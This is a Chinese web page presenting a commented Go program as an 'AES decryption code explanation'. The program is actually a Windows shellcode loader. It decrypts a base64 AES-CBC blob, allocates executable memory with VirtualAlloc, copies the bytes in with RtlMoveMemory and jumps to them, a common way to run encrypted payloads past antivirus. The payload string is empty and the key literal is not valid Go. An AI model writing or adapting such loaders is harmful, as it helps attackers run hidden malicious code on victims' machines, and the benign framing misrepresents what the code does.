Go语言AES解密代码解析及注释
// 导入必要的包 package main
import ( "crypto/aes" // 加密算法AES "crypto/cipher" // 加密模式CBC "encoding/base64" // base64编解码 "fmt" // 标准输出 "syscall" // 系统调用 "unsafe" // 不安全的操作 )
// 定义全局变量 var ( kernel32 = syscall.NewLazyDLL("kernel32.dll") VirtualAlloc = kernel32.NewProc("VirtualAlloc") // 分配内存 RtlMoveMemory = kernel32.NewProc("RtlMoveMemory") // 内存拷贝 )
// 将加密后的字符串解密并写入内存 func build(ddm string) { // 对加密后的字符串进行base64解码 sDec, _ := base64.StdEncoding.DecodeString(ddm) // 分配内存,并返回内存的起始地址 addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sDec)), 0x1000|0x2000, 0x40) // 将sDec中的内容拷贝到addr指向的内存中 _, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sDec[0])), uintptr(len(sDec))) // 在内存中执行代码 syscall.Syscall(addr, 0, 0, 0, 0) }
// 去掉填充的字符 func UnPaddingText1(str []byte) []byte { n := len(str) count := int(str[n-1]) // 取出末尾字符的ASCII码 newPaddingText := str[:n-count] // 去掉末尾的count个字符 return newPaddingText }
// 解密函数 func DecrptogAES(src, key []byte) []byte { // 创建加密算法AES block, err := aes.NewCipher(key) if err != nil { fmt.Println(nil) return nil } // 创建加密模式CBC blockMode := cipher.NewCBCDecrypter(block, key) // 解密 blockMode.CryptBlocks(src, src) // 去掉填充的字符 src = UnPaddingText1(src) return src }
func main() { // 定义加密的字符串和密钥 str := "" key := []byte('ch6HL44BiGjEoFFp') // 对加密后的字符串进行base64解码,并将解密后的字符串写入内存 base_byte, _ := base64.StdEncoding.DecodeString(str) build(string(DecrptogAES(base_byte, key))) }
原文地址: https://www.cveoy.top/t/topic/lUPB 著作权归作者所有。请勿转载和采集!